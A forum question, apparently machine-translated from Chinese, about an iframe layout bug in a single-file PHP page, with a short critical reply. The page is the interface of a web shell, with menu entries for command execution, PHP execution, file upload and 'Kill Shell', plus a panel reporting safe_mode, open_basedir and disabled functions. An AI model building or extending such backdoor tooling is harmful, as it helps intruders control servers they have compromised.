如何让PHP将我的另一个页面正确地打印到iframe中


How can I get PHP to print my other page into the iframe correctly?

所以,无论如何,我使用的是一个带有一个"主函数"的大型PHP代码,主函数充当主页,并嵌入了一个iframe,iframe可以向其中调用函数,然后iframe应该将函数(实际上包含HTML代码(显示到iframe中,从而有效地显示网站的新页面,然而,关键是整个过程发生在一个iframe中,所有代码都在一个PHP文档中。我知道这是有效的,就像我以前看到的那样。

无论如何,我决定尝试在造型上做一些不同的事情。

我创建了HTML/CSS样式,然后像往常一样将其放入一个函数中:

function style(){
echo("
<!DOCTYPE HTML PUBLIC '"-//W3C//DTD HTML 4.01 Transitional//EN'" '"http://www.w3.org/TR/html4/loose.dtd'">
<html lang='en'>
<head>
<title>blah - $servip</title>
<style type='text/css'>
body {
text-align:center;
font-family:Verdana;
background-color:black;
color:white;
}
h1 {
size:16px;
}
h2 {
size:14px;
}
h3 {
size:12px;
}
a:link {
color:#E6EBE6;
text-decoration: none;
}
a:hover {
color:#CCD6CC;
text-decoration: none;
}
 a:visited {
color: #FFFFFF;
text-decoration: none;
}
div#header {
text-align:center;
}
div#menu {
width:200px;
height:400px;
border:2px ridge white;
text-align:center;
float:left;
margin:6px;
}
div#container {
width:850px;
height:850px;
overflow:auto;
margin:auto;
text-align:center;
border:2px ridge green;
}
div#maincontent {
width:608px;
height:731px;
border:2px ridge white;
text-align:center;
float:top;
float:right;
top:10px;
margin-top:6px;
margin-left:0px;
margin-right:6px;
margin-bottom:6px;
clear:bottom;
clear:top;
}
div#subcontent {
width:200px;
height:315px;
border:2px ridge white;
text-align:center;
float:left;
margin:6px;
clear:left;
}
}
</style> 
</head>
");
}

然后,我在主函数中调用它,并打印出其余内容。

function Main() {
    global $self, $servip, $servport, $uname, $soft, $banner, $curuser, $version;
    style();
    echo("<div id='container'><div id='menu'>");
    $act = array('home'=>'Home','cmd'=>'Command Execute','files'=>'File View','phpinfo'=>'PHP info', 'phpexec'=>'PHP Execute',
    'tools'=>'Tools','sqllogin'=>'SQL','email'=>'Email','upload'=>'Get Files','kill'=>'Kill Shell');
    $capt = array_flip($act);
    echo("<form method='GET' name='shell'>");
    //handles the menu
    if($_SERVER['QUERY_STRING']){foreach($act as $link){echo("[ <a href='?" . $_SERVER['QUERY_STRING'] . "&act=" . $capt[$link] . "' target='frm'>" . $link . "</a> ] ");}}
    else{foreach($act as $link){echo("<a href='?act=" . $capt[$link] . "' target='frm'>" . $link . "</a><br />");}}
    echo("</div>");
    //maincontent
    echo("<div id='maincontent'><iframe name='frm' style='width:100%; height:100%; border:0;' src='?act=home'></iframe></div>");
    //subcontent
    echo("<div id='subcontent'> <h3>Information</h3>");
    echo("<b>Host:</b> <span class='inf'>" . $servip . "</span><br>");
    echo("<b>Server software:</b> <span class='inf'>" . $soft . "</span><br>");
    echo("<b>Username:</b> <span class='inf'>" . $uname . "</span><br>");
    echo("<b>Shell Directory:</b> <span class='inf'>" . getcwd() . "</span><br>");
    echo("<div style='display:none' id='info'>");
    echo("<b>Current User:</b> <span class='inf'>" . $curuser . "</span><br>");
    if(@ini_get('safe_mode') != ""){echo("<b>Safemode:</b> <font color='red'>ON</font>");}
    else{echo("<b>Safemode:</b> <font color='green'>OFF</font>");}
    echo("'n<br />'n");
    if(@ini_get('open_basedir') != ""){echo("<b>Open Base Dir:</b> <font color='red'>ON</font> [ <span class='inf'>" . ini_get('open_basedir') . "</span> ]");}
    else{echo("<b>Open Base Dir:</b> <font color='green'>OFF</font>");}
    echo("'n<br />'n");
    if(@ini_get('disable_functions') != ""){echo("<b>Disabled functions:</b> " . @ini_get('disable_functions'));}
    else{echo("<b>Disabled functions:</b> None");}
    echo("'n<br />'n");
    if(@function_exists(mysql_connect)){echo("<b>MySQL:</b> <font color='green'>ON</font>");}
    else{echo("<b>MySQL:</b> <font color='red'>OFF</font>");}
    echo("</div></div></body></html>");
}

我用主页功能做了一个非常简单的"主页":

function home() {
ostyle();
echo("<h1>Welcome to blah</h1>");
echo("<p>Enjoy</p>");
echo("</body></html>");
}

ostyle((;是style((的简化版本;

我使用一个切换案例来根据$act变量进行用户选择:

//Handles the selection menu
switch($act){
    case "home": home();break;
    case "phpinfo": phpinfo();break;
    case "sql": sql();break;
    case "files": files($dir);break;
    case "email": email();break;
    case "cmd": cmd();break;
    case "upload": upload();break;
    case "tools": tools();break;
    case "sqllogin": sqllogin();break;
    case "sql": sql();break;
    case "kill": kill();break;
    case "phpexec": execphp();break;
    default: main();break;
}

这就是我以前做过的所有事情,然而,由于某种原因,它不起作用。这一页都"疯了"。它将多个容器打印到单个容器div中,然后在iframe中显示我的内容,但随后它将Main函数(或主函数中代码的结果(显示到iframe。

出了什么问题,我该如何解决?

你真的让事情变得复杂了。滥用回声,巨大的函数和全局变量?我还不如写一些静态的html文件。

我的建议是:在你开始写东西之前先想一想。